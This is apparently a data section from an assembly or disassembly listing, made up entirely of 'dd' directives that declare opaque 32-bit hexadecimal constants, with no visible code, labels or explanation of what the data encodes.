		dd 0CF0E4352h, 2C00BF2Eh, 3CEC48B3h, 3DFA10h, 0F776E929h
		dd 8DE61438h, 75A44105h, 0D680E3F6h, 0E0439F84h, 0D44F0113h
		dd 56A859DCh, 0D58EF873h, 50E6DC90h, 4991BB01h,	0BF7A297Ch
		dd 833E1058h, 0BF07997Ch, 0D9D10175h, 7040FA47h, 0C592533Eh
		dd 0F6E621h, 0B262AC1Ch, 8C0550Ah, 830F2006h, 7F3DF24Bh
		dd 0D5F400D2h, 0CFFEDC7Ch, 0E00636Ch, 745E6636h, 2CC7E129h
		dd 8D000975h, 80C01902h, 0B3125659h, 0F05DE331h, 2750FE1h
		dd 0DEA08713h, 0DC47B149h, 1656FB0Ch, 3A94410Ah, 4840D1DBh
		dd 0FDE8A460h, 7A87C8Ah, 0AAFA3081h, 0EDF65062h, 61014424h
		dd 6B1ADD99h, 0B140FFC5h, 3EE224Eh, 72C2BD49h, 0C0CC43E5h
		dd 9A0E5676h, 52007AFAh, 71858B76h, 0E84407C9h,	209200CBh
		dd 406B5130h, 370DD6C0h
		dd 0E8B1C366h, 155989Fh, 41DC5393h, 5194E4A8h, 213808CCh
		dd 920E01CFh, 300CDA43h, 0E41DD475h, 9B89C415h,	62D00EB8h
		dd 6C183941h, 4318F0h, 0CAE5CE9h, 0DB3135B8h, 9EBDEE18h
		dd 160F8731h, 3D7CD17h,	7E60965h, 21810830h, 0F170C26h
		dd 920A553Fh, 0A86541C0h, 3C604889h, 952DF58h, 0A870D12Fh
		dd 3603D507h, 11D73608h, 0D1C75900h, 0B2FA550Bh, 0CA3E26D2h
		dd 354A0C2Ch, 0FF0FEBD8h, 1D62A1D3h, 584116C0h,	156A8199h
		dd 94E2482Dh, 0BC00BF23h, 0E1DC1F94h, 3A4486A7h, 0B8AEC0D3h
		dd 3E9C78AFh, 35E29700h, 2673F5Fh, 22100FD9h, 3BC139E4h
		dd 0C0A2B979h, 78C0D044h, 61B8F865h, 0B640055h,	760CE089h
		dd 0C2002711h, 309FE114h, 2E6C40h, 7ED1F720h, 0C3BD3F97h
		dd 0EA06BA00h, 6657D76Eh, 63550FFEh, 69E08B3Bh,	6430A320h
		dd 1F15EC00h, 4A59245Bh, 0EF5D001Bh, 67A6967Dh,	0A8013A76h
		dd 1442AA6Fh, 5AD8684Fh, 0C5E8009Fh, 0A73FAFEBh, 500FE08h
		dd 6B5CACABh, 0FACD87h,	0CCC3ED37h, 85719107h, 51AF3200h
		dd 0E8DD604Eh, 74B903D9h, 4F82FCB3h, 0C2BF9EB8h, 77D6BD07h
		dd 0D480B64Ah, 142B76D5h, 0E3A7C33Dh, 74851Fh, 64A2BAF6h
		dd 0DCF0BC39h, 4B3B3C00h, 431BE4B2h, 8DF801A7h,	5A462286h
		dd 970E60ACh, 2A87A400h, 0FF2BD437h, 0E0A2007Eh, 2C20B913h
		dd 0DE071536h, 55F9F29Fh, 0AD00D7F5h, 41608CACh, 93690762h
		dd 30BC4ADDh, 317AAA33h, 600BF74h, 554DBEBDh, 7BB70Fh
		dd 3A20E2B8h, 0A7CD0EFEh, 0D9A0100h, 71566578h,	0BFAC03AEh
		dd 0FAC09321h, 0A51D9A0h, 0D96A800h, 0F62C9728h, 294903ABh
		dd 63E0403Bh, 961E61D0h, 68E43AC3h, 8582C870h, 9ED10002h
		dd 18ADFD21h, 100793E9h, 0EDCF04F9h, 6072EAB2h,	0CAB2DDh
		dd 1EF3BD38h, 0D00CDD02h, 3AE55700h, 0F69848A1h, 1FA7218h
		dd 235C4617h, 4070CC28h, 218A90B1h, 76B2D100h, 0C6A4E848h
		dd 2BA10BECh, 0E201EF53h, 0F063F315h, 601EE4ABh, 0B9403FD6h
		dd 79B24DADh, 3AF0A03Dh, 818B00C4h, 6979C0Eh, 0D71F8A24h
		dd 0A880774Bh, 8BB7C09Fh, 5B5F3F09h, 750200F1h,	21F148F4h
		dd 65183845h, 0CA389807h, 5C04E8D1h, 140016E9h,	73D07C19h
		dd 823DAD7Fh, 223B807Ah, 792CE9DAh, 8C270C90h, 9B68789Fh
		dd 5EADE400h, 0AE98A717h, 3E9700CEh, 0C615B796h, 620021B1h
		dd 0DBADEA36h, 12648049h, 51F209h, 0E4E27CADh, 9F748815h
		dd 0D059C200h, 0A932981Ch, 0D5E63089h, 0E45328D9h, 2A73C00h
		dd 71884682h, 3E1D0058h, 0D280A50Bh, 3A585E0Fh,	348401EEh
		dd 9391C3CCh, 775A8C8h,	8E9A603Dh, 41B570C6h, 0DF1E0334h
		dd 6E80D0FFh, 1E36B015h, 9EE00E2Fh, 38584492h, 0FC007D80h
		dd 0DBCE9D34h, 96CA4h, 0EB8A83B1h, 3BBE76E5h, 5CDDA101h
		dd 1AFCDCF1h, 58C01ED0h, 8C2B3822h, 0E7B001CCh,	8594E0FCh
		dd 8DF63BF0h, 0F2AFCC04h, 12BCC88h, 0F02456FDh,	608AB628h
		dd 0A9FE8CD6h, 1E7D3Fh,	0C76B45C3h, 0E3D3B5A6h,	3AAAC8DBh
		dd 9D7401CDh, 42A140C5h, 0E8EEC59Bh, 5F7BA996h,	81014301h
		dd 1B2E892Fh, 72A61FCh,	988AF1D8h, 809C9460h, 0B038A124h
		dd 2F84D8A0h, 62784E00h, 71023CA3h, 3002B045h, 0E688AA03h
		dd 542EA0D0h, 2200DFB5h, 2B0EEAEBh, 0AD100014h,	0DA8E6BACh
		dd 0C0E91A31h, 5E0192F3h, 41B6DDBDh, 88508554h,	18D2884h
		dd 0FF8F708Ah, 0BBD8645Fh, 0C3B08089h, 5AE29B69h, 372E007Ch
		dd 70345FE5h, 0FF001B08h, 20A21979h, 0BB58E4h, 0B56F1F2Bh
		dd 4FC5D7C8h, 0C7E21AFCh, 1803F9B0h, 6DA2457Ah,	88EDF807h
		dd 207C00EEh, 0E9F10E72h, 3B07A915h, 0D7183F33h, 37B9ABC0h
		dd 87AF00BDh, 0F901371h, 39791D56h, 8F215700h, 0B3913574h
		dd 0DD8A0EA8h, 9C006E92h, 23BA1D9Eh, 0D600307Ah, 0AE40CE7Bh
		dd 22B39Dh, 433ABD18h, 34667EBCh, 0C79B2A00h, 7A884DEAh
		dd 11E00054h, 0A08B0F3Dh, 6F00D1BEh, 0D865B7FBh, 0FE2E34A3h
		dd 0EAE816h, 0CDF4F54Bh, 0A79314D2h, 1DA4C700h,	4DA66525h
		dd 0EEEA006Bh, 4E06B762h, 0DC1D98B4h, 8DC0E1A3h, 5B8F1BF8h
		dd 461E1427h, 0E500B4D7h, 6C096D84h, 700A3DDh, 0A70A082Bh
		dd 0F21EBDABh, 2DBB30FFh, 0A0ED9176h, 12034600h, 4088B587h
		dd 9C580063h, 0B12202F1h, 0A60F1624h, 61BB8615h, 89A7EBB2h
		dd 7F63E0h, 0FD548C0h, 13D140AEh, 59BF1600h, 777A854h
		dd 23440045h, 93BD6DD6h, 9A785711h, 6C80F700h, 0EF7A223Eh
		dd 984A1ED1h, 4C5B0178h, 0EB2E5AD0h, 42DE8FE8h,	71102960h
		dd 6F34D19h, 21F5C079h,	1F04190Dh, 0B7A6767Dh, 1938F80h
		dd 0FFC8035Fh, 1CD3EA0Ch, 4BFC6000h, 0B31254E4h, 0ADB00070h
		dd 1639CBBBh, 6C005325h, 2458C5EBh, 835678h, 0AA4A6AFDh
		dd 76552E3Fh, 71D8DD03h, 0A850E829h, 9027E6E2h,	0DC0900A0h
		dd 55A7A99Ah, 17989583h, 7D756700h, 0E32E1490h,	0B9861CA2h
		dd 681AC3A6h, 11009DCDh, 0C047644Dh, 77C1083h, 5840D5BDh
		dd 0B163507Bh, 24F6A178h, 1DEC7200h, 0F9E04B6Ch, 197000F0h
		dd 0DFB6FFE9h, 2A00E19Ah, 0E76CC561h, 1E133ED9h, 748737h
		dd 6850C667h, 2C0301CBh, 0EE08AE44h, 7CBBC8D1h,	450500EBh
		dd 0C54AF049h, 0C4005070h, 0B5432FF5h, 0E5D11Ah, 0CDF39805h
		dd 0CAFCB616h, 0BD592700h, 0BE3FEF2Eh, 6E3E034Ch, 3D4D066Ah
		dd 372946A0h, 508A5300h, 72C7108Eh, 7EE100FCh, 0BF754BCCh
		dd 6B0E8CC1h, 471BEA29h, 0E02FD428h, 0A335AD16h, 363D0096h
		dd 4E63ED02h, 0BB009801h, 48AFFD93h, 0B94D8Ah, 40A8DAB4h
		dd 6D39286Fh, 929B8603h, 0C8102EE8h, 3D70122Bh,	1006715h
		dd 41E6D748h, 0C009689h, 59BEB2D4h, 70425Ah, 0CEBC01EDh
		dd 6CC26A14h, 960FEBEAh, 60981AE0h, 74FE9143h, 6E180373h
		dd 0EAAD4FCDh, 991D80D8h, 6050CF31h, 10C8D24Bh,	0F39104C2h
		dd 12B75D5h, 2E8B39B8h,	0C3700FD3h, 0BCC74ABFh,	417141B7h
		dd 0BD1899F3h, 58F06410h, 1894503Ah, 2B1100AFh,	934C34EAh
		dd 86E85CECh, 9876B8h, 1FBB674Ch, 6E98A839h, 2EE1FF56h
		dd 7ED624Bh, 0F0105811h, 0C73DA60Dh, 95EC7103h,	14EE9AF5h
		dd 34AD3A48h, 4238FF07h, 0FAB5A04Dh, 0F600AA1Bh, 73EED416h
		dd 5DB0A0h, 4D1DA39Ah, 0D5F491C9h, 0AB707850h, 2237B0C7h
		dd 0FB5F05F1h, 303906D0h, 0BE206DEAh, 93014E8Ch, 980A5221h
		dd 95206EECh, 8E440028h, 0F4959F55h, 8100B6F3h,	6CF2FB4Fh
		dd 1EC02D2Fh, 8286F9h, 603276DEh, 4032A71h, 643C5106h
		dd 0C9DE0FAh, 9F7800ADh, 3D77252Ch, 6000E5AFh, 51CE745Ch
		dd 154298h, 0BEB98168h,	0CBF68264h, 7734D00h, 0DB01D80Eh
		dd 0CE193F2Dh, 3B678300h, 0C02A2B98h, 7A20051Dh, 19314280h
		dd 33106Fh, 0C30B7971h,	0F974EEA5h, 6C97A400h, 0DABBA154h
		dd 581030F1h, 349B3F0h,	86671107h, 2E901D1Eh, 0D52B01h
		dd 7B1238Ch, 1BBA3A1Ah,	6F311400h, 0C7E7FD2Ch, 56CD0053h
		dd 0F0EA6552h, 0AB07A5C5h, 59822601h, 55A322C0h, 2A103B7Ch
		dd 0E46BCE80h, 0CD92F912h, 0B6EC001h, 2F5324C9h, 5021E9D5h
		dd 49D06040h, 6A070093h, 0C3A41041h, 5F001471h,	0BE1C77B4h
		dd 0B5FCF8h, 108BD8C2h,	0CF43F66Ch, 39344601h, 0C8FA90B8h
		dd 0E44CE7CCh, 0A79C00BDh, 2957EA78h, 830E0D53h, 0C4E0BA24h
		dd 0EAC0F9C5h, 4217D1h,	0C378540Ah, 696B08D9h, 24EAF800h
		dd 58C67620h, 0E64B30CAh
		dd 0DB781B31h, 21443301h, 869ABC62h, 0C0A22C24h, 7CB1EE8h
		dd 0C4006071h, 536614B6h, 20B8C05h, 0AF2C3E09h,	0BCA0E591h
		dd 836C8859h, 58B60E25h, 0F0CA7B14h, 0F9AA3718h, 0A98CC0E8h
		dd 981416A3h, 280138h, 70EEADE3h, 75E17EFDh, 1BAA001Dh
		dd 88765797h, 3603D2C0h, 0D359D448h, 0F80A003Ch, 0DF26D97Bh
		dd 4600E188h, 0B04F57DDh, 1A0237Ah, 0D984173Dh,	70BA2503h
		dd 6507B1F8h, 442A80B5h, 0ED4C66D0h, 0B7A0007Fh, 1F86503Ah
		dd 65004861h, 4585EB9Ch, 9D72072h, 5ADE14C6h, 0D5F70803h
		dd 2831E900h, 0AA0A890Bh, 382A1DB5h, 71A68007h,	69A1500Dh
		dd 9FD9D9C0h, 91ED5Ch, 0F0FECD56h, 0C58E6C33h, 0CED14900h
		dd 7410F84Ch, 6831C0A4h, 0F7A2838Fh, 0B534A800h, 58A60F50h
		dd 3E2001A4h, 0AAF68D85h, 0E13DFCB6h, 0A100B9E2h, 0CD69D07Bh
		dd 1C0D75AEh, 0DF6EE5ECh, 94B066F6h, 66268CD5h,	479C1FC4h
		dd 301EB779h, 0CD3D8137h, 0AF38FC00h, 0E5BCC47Ah, 529D0086h
		dd 32307891h, 27E60B26h, 0F205DF00h, 0DC97B8A9h, 0BE8EC071h
		dd 72B43FDBh, 682249h, 0E598E0Dh, 301FED71h, 1619077Fh
		dd 9F3039A9h, 0C28911A5h, 8120EFD3h, 0BB0401D4h, 34DDA750h
		dd 90C6C4EFh, 18AF0524h, 0B0F7DB80h, 34D1014h, 39D0E242h
		dd 0D2C0F329h, 62B03811h, 6301B6F0h, 0BC699553h, 6024B9EFh
		dd 0C4B16Bh, 0D0F910E3h, 0D21DE593h, 155F7D8Ch,	44E2AA80h
		dd 58878Fh, 0DB291791h,	225EB3E5h, 2C95F507h, 0E750DAD8h
		dd 69B582h, 0F264518h, 3D90885Fh, 0BD5AC300h, 2BBF70ABh
		dd 0B38D00D3h, 0C05F7CBAh, 160091FAh, 1A5BB827h, 6097B4C4h
		dd 721C1110h, 6400ED9Eh, 24ADC201h, 30941141h, 0D62026C6h
		dd 0D700E5FAh, 533E56CEh, 4F0959h, 835A5F96h, 8DA47239h
		dd 600E9F0h, 0F412A3F3h, 59BCBAh, 0CA9E653Fh, 293492D4h
		dd 56C44B00h, 7D7B13ACh, 0C0980106h, 0B7D83C82h, 90DC64CEh
		dd 78008F72h, 83597C21h, 36F10Ch, 0BB63344Fh, 1DA1B0ECh
		dd 8AB4E18h, 0A7F3E20h,	54700EBFh, 4FDE00B4h, 0F82472C6h
		dd 2B7AFEE0h, 0ED977C00h, 0F0420C4Ch, 201B05A0h, 6317E7h
		dd 0E04493C8h, 3B261ECAh, 8A80743Eh, 3A3C8C24h,	0A77E0E52h
		dd 0F1FF069Eh, 6029F4AAh, 0C400BB0Dh, 21254673h, 40FE003h
		dd 5CB0ED49h, 8C40D020h, 0CA00CDBDh, 0E49355C6h, 0B56999h
		dd 0F3EF1BA2h, 2339DCD6h, 3EB6F84Ch, 2D968166h,	6FAAD7BEh
		dd 0EB317CEDh, 6521420h, 0A2E39909h, 51001068h,	619DB1B6h
		dd 3B85F976h, 16804319h, 0F112B0C9h, 0FC034241h, 6194AD14h
		dd 50E6E8A5h, 387E6A4h,	1BE05479h, 0DCD8AA4Fh, 0E290BCE5h
		dd 3EC05B4Ch, 32B900EFh, 0DD5C568Bh, 0B4C700A4h, 13943D35h
		dd 0BF483701h, 45F10068h, 0C1D7048Eh, 7D4400E8h, 0ED29369Ch
		dd 1102141Dh, 0F8316506h, 0F9C08093h, 4C9B9474h, 90FA0C0h
		dd 8347C977h, 27478060h, 0A60E1106h, 0C0FDA41Fh, 4FF718E7h
		dd 0CDEC00CBh, 569DC209h, 3401D024h, 5AA6B99Ah,	0E0404993h
		dd 1458DFh, 85E23F4h, 335285B6h, 0F667BC00h, 0E5BBBE76h
		dd 76E3F6F0h, 6A6900B9h, 0A03550C0h, 7A009732h,	85784E49h
		dd 12EF399h, 834333CCh,	0E5E89870h, 0FD1FE005h,	4D482600h
		dd 0C4E0B203h, 9FFC8Dh,	0B16BB4EFh, 2E8653CCh, 2959F901h
		dd 0B81C50Ah, 126CFE8h,	0F1141F44h, 0F0F2C068h,	0D4004E4Dh
		dd 0F87D3796h, 0BD43B0h, 5F55E01Bh, 5BAFDD9Ah, 5800B474h
		dd 4A7E3B84h, 8863A9h, 3CFF822Dh, 0D263810h, 8A99B650h
		dd 1C3B3939h, 908E8DBAh, 75CAA7A1h, 71852D40h, 80F800C8h
		dd 0ED14D30Fh, 0D90EB05Bh, 402B13A8h, 59428D3Fh, 0F4B400A2h
		dd 8236F766h, 87004BEEh, 2894C2B0h, 1960F97Dh, 82731CE8h
		dd 5BE7E00Eh, 0FD7EEB0Fh, 6019AF53h, 1CE6399Ah,	808125F3h
		dd 2F5FA424h, 7C9AC9C1h, 0C83428D4h, 5C90618Ch,	91188F51h
		dd 9F063E15h, 7105962h,	7DFD4EBDh, 93E590ADh, 0DF00B592h
		dd 0F4463C9h, 4D05A4h, 0AF6DEA33h, 4CEC2B04h, 4EF03AE2h
		dd 7786C49h, 5CD487FAh,	0A2574DD0h, 13B0066Eh, 7973C341h
		dd 7F54BE00h, 2F4FFB38h, 7E2D0910h, 0E445BFB6h,	976098AEh
		dd 60F44EA5h, 91C3B8A3h, 724BD5F6h, 19961822h, 339C00B7h
		dd 0E65C4C5Dh, 63669E00h, 9225C5B3h, 0F249500h,	15F37AC7h
		dd 9F763A71h, 0D5B33C00h, 11A3BA52h, 304BE100h,	1471F72h
		dd 0EB6F0717h, 0E47359ACh, 0FCFB805Bh, 0B5008B51h, 0BD09295Fh
		dd 0AA54F1h, 73CB50E8h,	1D36FEE9h, 2B2B109h, 802A80BEh
		dd 1CFD9C10h, 40037859h, 0EB6B90C0h, 9A7C9495h,	0B6839F1Ch
		dd 3D3E5300h, 0EECA6F0h, 49642DDFh, 9E8043A9h, 7A825F27h
		dd 0D81DDD00h, 0DB368E6Fh, 7C20060h, 5530BF9Dh,	0FB00171Fh
		dd 0A99A6E6h, 4BB51Eh, 0C10DED9Ah, 8B434F46h, 0CD0006ECh
		dd 0E3A690A7h, 0F7A73h,	0F2162B0Bh, 0FC8C77C7h,	56E9ECA8h
		dd 630F7977h, 896FB06Ah, 0BD0CC07Ch, 35BA00AAh,	6BE5EA30h
		dd 19FCEE1Dh, 0EFB5FB1Fh, 69ED0207h, 0EBCCFDA0h, 0C708003Fh
		dd 1A6FE05Dh, 0B800245Ch, 4A03491Bh, 0FA16CDh, 8EE1927Eh
		dd 8CBB1E31h, 0E9D1D800h, 0D941BC77h, 45F5C03h,	0AF4FB70Bh
		dd 3C98EC00h, 4C0204C9h, 9A7E28CBh, 0B9DCE88Bh,	0F7150094h
		dd 254E84C4h, 702DA64h,	6E8F7B3Dh, 9910C0ABh, 4DEE00BEh
		dd 0AA38E6E3h, 303EC434h, 2C3F80BCh, 90321649h,	0AFF224B0h
		dd 8AA007FCh, 0F5C821BAh, 1043042h, 0BF6D5300h,	0CFA112DBh
		dd 8C1600E4h, 30E8CA27h, 1109E384h, 40B4482Ch, 1EB954h
		dd 47EFCCBDh, 1781F8D7h, 753A2302h, 80B5CA42h, 83B0508h
		dd 0B6D04B7h, 0C060946Bh, 4F781B7Dh, 9C012000h,	2D43D52h
		dd 8B2602E1h, 0AFFD91C8h, 2CDF8049h, 1CED0548h,	0E0C01329h
		dd 78516A44h, 2E4D9894h, 80049CF0h, 4D0218BEh, 69002DD0h
		dd 0AE265CF4h, 0E5BAD76h, 0C15D7D47h, 0BA621300h, 0D50BF434h
		dd 52FA8B2h, 0E41EA4C4h, 39AF6080h, 0F602E7h, 1C7810CFh
		dd 3ED9E1FDh, 6C0C6FE6h, 884EDC97h, 80BD0BC0h, 0A4034457h
		dd 6DA17D58h, 6E0EFCD0h, 0F0BB5A00h, 0D4FD204Bh, 265B00D9h
		dd 0B03AB54h, 75609E9Fh, 0BF0E8978h, 447AE5h, 0A3FA62D8h
		dd 8F2F8651h, 0AF0F3E00h, 572AC0E9h, 7E4B00CBh,	951A99A4h
		dd 9B1CBB42h, 0D5879AB8h, 0A0E03FBFh, 25F70A40h, 0E80006C1h
		dd 19DED44Ah, 0DB315D00h, 1536DFA5h, 404D0307h,	13EFFA8Ah
		dd 1CEB2800h, 0A9BA015Fh, 51C500FBh, 9EC77EAh, 0FC001265h
		dd 0D748FD9Eh, 1B724Ch,	0DCB8E75Dh, 0F5CF45AFh,	0E4FB7076h
		dd 0D26EC6Eh, 84BCA072h, 92D64F58h, 6E0034E3h, 14974DCBh
		dd 27009438h, 0A298CD52h, 5A75F9Bh, 2AE8DDC9h, 0FCB4C249h
		dd 154AC80h, 0D800BABDh, 4365CCB2h, 0B51982h, 0C29C6D9Fh
		dd 79E428F7h, 3CAEB001h, 70BB2459h, 0B017E3E4h,	9A80001h
		dd 5F2CA1D2h, 6907135Ch, 53C7CB9Bh, 80DC2AB0h, 90F2ABh
		dd 1B84E650h, 397DE91Ch, 0CBFCD703h, 0A09AF0E8h, 1EE4FC3h
		dd 53E1C82Eh, 648F56FEh, 8A0EC67Ch, 3677CE2h, 0D07D123Bh
		dd 2AE127D3h, 39C43443h, 72873E38h, 0A00D9D49h,	5C3A132Ah
		dd 82AA3413h, 8C6A220Fh, 3010F0FAh, 6D39A9E1h, 2C905BB4h
		dd 2A98721Fh, 0EE243900h, 18B88154h, 2815FC0Bh,	802577E0h
		dd 0B770817Bh, 0FBE08954h, 0CF63022Ah, 0F2259D6Ah, 0CE51C080h
		dd 304BAD08h, 5C337000h
		dd 3B9586BFh, 0A848D670h, 4400E021h, 17CE5303h,	69C1006Bh
		dd 0B14E99F5h, 1E01E02Dh, 45347764h, 0B18360A8h, 85FED82Ch
		dd 62698900h, 2D13FCF4h, 0CBAC000Ch, 713FF2A9h,	65009D47h
		dd 0D2BD169Ah, 22B82Bh,	8C07ACF6h, 15D3BEE3h, 3D547B00h
		dd 6BDC6479h, 7E7D00E8h, 0D181CF07h, 4E073F59h,	803E8AEEh
		dd 7613BF60h, 0F8BB0102h, 8F72DEDh, 6965C04Dh, 5D0105F8h
		dd 2395A8CDh, 0D02C9B77h, 3E4D5500h, 84FEF47Eh,	42FC4B5Bh
		dd 8F44D70Eh, 528C2060h, 0E70EBB48h, 7EFCC59Ch,	0DDEF7100h
		dd 0FE2B0C7Dh, 0D4310965h, 0C200C0DFh, 5443F7DEh, 0CA58A407h
		dd 5ED06147h, 920F10D9h, 8E150BFCh, 108088B1h, 42082C90h
		dd 56C88100h, 0F312E85h, 3EAA17E8h, 0D04408Ch, 1876C24Fh
		dd 9BED9600h, 61DF1BE1h, 8ED6E9CFh, 0CC60A3B8h,	0A12AF2F6h
		dd 33222DF0h, 1C0AD02Ch, 80F40D2Fh, 0F05AECC5h,	0F1002717h
		dd 7244D6Ah, 649BB0h, 3C39D509h, 0CDAB8D2Fh, 44095D90h
		dd 208F2B3Ah, 0A39CBD30h, 905E073Ch, 9072A983h,	0E14F0A8Bh
		dd 0EF282213h, 16664CC0h, 9E2300F0h, 1C7DC7FEh,	809451D3h
		dd 2E0C8980h, 1974BDh, 874B9EC4h, 0F3BFA2B9h, 0F9029C01h
		dd 55C36B45h, 1565806Eh, 0A37DAE74h, 0C9567500h, 0AFB5A6BEh
		dd 0BBC8036Eh, 0E56BCF11h, 27C05BAAh, 8D0018E0h, 0B6DE093Ch
		dd 403541h, 0DCC086BAh,	17737E7Fh, 0DF50AD1Ch, 0DD37FD83h
		dd 0B64ED93Bh, 0B3FA80F7h, 0E9F50B46h, 0AF8E7052h, 0F4476FC0h
		dd 0FF00F238h, 15B20728h, 3D29CF01h, 480BDBAh, 0A99D4505h
		dd 440082A2h, 15ECDFD0h, 3AD962h, 29597EF3h, 987767E1h
		dd 1420496h, 21FC00B6h,	6438570Ch, 0C7EA002Fh, 0C5C1A36Bh
		dd 911D0089h, 95E5CFD5h, 73001CE7h, 2A8DEC87h, 7F97AEAh
		dd 9D4DF370h, 1F0F99F1h, 0FE2707C0h, 2F005F99h,	265ADCEBh
		dd 94245Eh, 2C4B8578h, 0DD3B9DFFh, 8E8F403Ch, 5E01FAC4h
		dd 3A111EC0h, 3BF0678h,	0AA31E9E3h, 0ECF82A5Dh,	33062BC5h
		dd 2E80CE14h, 0A4640058h, 0C37BF108h, 46249906h, 6780582Ch
		dd 45F7AD62h, 2F150089h, 60D6179Ch, 0F3009B38h,	814ECD2Ch
		dd 6951DC7h, 2B17349h, 9200466Dh, 3D0785Eh, 0EEA59Ah, 76F55CACh
		dd 0BEBBEAB7h, 8509D094h, 558C489Fh, 6D4A03DCh,	77D49010h
		dd 804B2CCh, 1E5A536Eh,	0B71F001Dh, 704C7CD2h, 9D8B9439h
		dd 0A5807858h, 693CBCE5h, 8DAEFA10h, 9E9BFE03h,	0D5790042h
		dd 1C2F7772h, 4678B9B4h, 91080A50h, 2061E2Fh, 330780h
		dd 724A9C5Bh, 2B2CAE00h, 2186FA8Ch, 0A6CC1D52h,	0EF4042A4h
		dd 87C091E6h, 0E0A05611h, 0C400E01Fh, 762E783Bh, 3F23FE24h
		dd 0C61CF3E1h, 916CC084h, 6BF29DACh, 6976C700h,	574A44B7h
		dd 0C07A20h, 0F13C1577h, 9D48CCE5h, 0BFEC1103h,	0E0184550h
		dd 2C64BE8Ah, 8060B3A1h, 0D968198h, 4D0C62F1h, 86A392Dh
		dd 0F921C0B5h, 0CCC89669h, 0DF47E600h, 0B6C2502Ch, 3811003Bh
		dd 6C664D10h, 3D02EC83h, 0B77148B1h, 0A3C88074h, 0A065A438h
		dd 82B38510h, 70B8AC23h, 2213E5A1h, 7C5E0020h, 6591C06Eh
		dd 3A6C194Dh, 8745082Dh, 6E64F921h, 5BA06B10h, 49D0F91Dh
		dd 2A59E271h, 12241013h, 0AFE6E72h, 91244CA1h, 7A571046h
		dd 0D9A22809h, 0EF3860C8h, 3D302DB0h, 0EA305916h, 0A2FCA845h
		dd 1EB9C06Fh, 31291A03h, 37019001h, 691DB8ADh, 39B9BAF8h
		dd 0A7B114B6h, 0EC0B9440h, 4C28C65Fh, 0EE3DC441h, 80BB3D98h
		dd 5480F1D1h, 0AAF3E5h,	0D217381Eh, 9FAE9A3Ch, 0E3110400h
		dd 10CAFF33h, 0F69B058Ah, 87525759h, 563CB06Ch,	84037E1Fh
		dd 1D5347AEh, 2480BCC9h, 12279Ch, 0DF73F9C2h, 0DCF44160h
		dd 0D18DD00h, 95F26C5Dh, 903700B3h, 0F0052033h,	290E6103h
		dd 20677DB4h, 10AC021Ah, 26120062h, 2BE0E5C9h, 8000436Dh
		dd 61784259h, 15E3FFh, 9C03F87Ah, 18ECCF32h, 0AEDA7B00h
		dd 0F9DC84A5h, 59805F2h, 808EBE3Eh, 205193FBh, 2200347Eh
		dd 0E5BAEC53h, 0ECAE8B8h, 55A32C21h, 2A83C340h,	1500B3D7h
		dd 85665A0Eh, 2245D2h, 0FC766234h, 90609A33h, 43A7B501h
		dd 18197199h, 0E6FBC30h, 91C36997h, 0E5019360h,	530020B4h
		dd 0C79D798Ah, 69A6E04h, 0BF90434Eh, 0FF7A6119h, 53CD0700h
		dd 0E9FB7650h, 0F8620782h, 6030C4A5h, 0C732D587h, 0DDED2C2Ch
		dd 6D1C9C02h, 6AC2E001h, 5F98C039h, 54B59247h, 0DD841000h
		dd 667257FCh, 0F9C3B17h, 3D8A3905h, 0FB858035h,	0D500CE82h
		dd 0CF5BF496h, 3B1141h,	9A5D607Bh, 7D3FC894h, 2CB0B400h
		dd 160E3372h, 0D25407F2h, 0A17E9C61h, 0F3EA85E6h, 0D940E0A0h
		dd 0AEBBDA01h, 21F635A1h, 1FF29080h, 5E1A785Bh,	0B1C43200h
		dd 8077ACEh, 41850188h,	2D29FF7Dh, 1D0DE047h, 0C57EF214h
		dd 93E600F4h, 0A5DBA260h, 0CB0F06ACh, 59DFEC6Bh, 57A99000h
		dd 70083A60h, 2CE00DBh,	23B4543Dh, 3000C031h, 0AB0DF385h
		dd 90E1C9DEh, 9870080h,	772BACF4h, 64006AF0h, 0EAAE5EA2h
		dd 0CCEF8Dh, 5358BCBAh,	0BD30D466h, 7762391Ch, 0EA77840h
		dd 0EAE2CCBh, 58DE9373h, 0E93E2940h, 3C00BF38h,	0AD82B9A9h
		dd 0B38AA7h, 0B5488C10h, 0A0874DF7h, 0D3781903h, 0B08B262Dh
		dd 39C153D5h, 0C400579Bh, 0E0CD2077h, 0EA0EAD6Ch, 6A4DBD64h
		dd 0E0080CFh, 0B7C4BBC7h, 302200C5h, 0D7571EC3h, 0F7009821h
		dd 0F3595C06h, 3D3FC02h, 29F2CB11h, 0B8005A95h,	0ADE2F561h
		dd 4DDB8Bh, 73C179D0h, 0BCB62207h, 0BA8AA600h, 0CA40692Dh
		dd 6E4A0E5Eh, 80FCB18Bh, 0CEC75396h, 4E2E446Ah,	0B3002E18h
		dd 94A3034Ch, 606360E4h, 451BC138h, 0EA158E00h,	0BC61F0B5h
		dd 33C80132h, 2099E57Ch, 0D08DE93Fh, 0B30029B0h, 0C1927D8Bh
		dd 0A0E7B6E8h, 1852B8A8h, 0AA10CF5h, 0B73DD45Fh, 17458126h
		dd 0E782EEF2h, 0A5238440h, 865C0057h, 5595838Bh, 8901B13Ch
		dd 32265E4Bh, 2ED4B9E9h, 7E42091Bh, 44006323h, 7D04BA8h
		dd 0D6341602h, 8325E910h, 906E0BA8h, 90CC6FA7h,	7B550270h
		dd 71CA54E7h, 0C60C4040h, 0B1CF2689h, 66C008F9h, 3F830078h
		dd 3810B4D6h, 23E0115Ah, 432E5EEEh, 0C5011575h,	0F1E2BD6Ch
		dd 40F1856Bh, 1E659070h, 33F2386Ah, 0A17EC1FEh,	21F9D430h
		dd 496786h, 12542180h, 0DBF8CD14h, 73C9D904h, 50C5231Bh
		dd 0E8C3A007h, 9EF8A9h,	74645092h, 951FBFEEh, 0A48D7500h
		dd 823245BCh, 70860028h, 2786BF1h, 88000720h, 22354E74h
		dd 3A31C3E1h, 0F6C586h,	0B1125BEBh, 964C5D2Ah, 11438B00h
		dd 1FF354C6h, 0AB630169h, 86D6C0CCh, 0A0B8C784h, 670728E0h
		dd 0B0FE9AFBh, 0E7AACDE0h, 5BB20027h, 2C03960Ch, 72128AD7h
		dd 5A009D69h, 0B6023A54h, 457EECEh, 74DD49D2h, 13F490AFh
		dd 0D700F93Ch, 8008197Bh, 83D973h, 7AD42F75h, 0F17FED9Dh
		dd 0D2CE9C00h, 10252AC8h, 0B9EB0027h, 0B41F5A8Fh, 0E200C513h
		dd 39348171h, 0C03525h,	0D37B73A1h, 0E624CB7Dh,	0FA990300h
		dd 76B80FD6h, 0CC0900AAh, 4ABE362h, 5C0EEC25h, 406EF232h
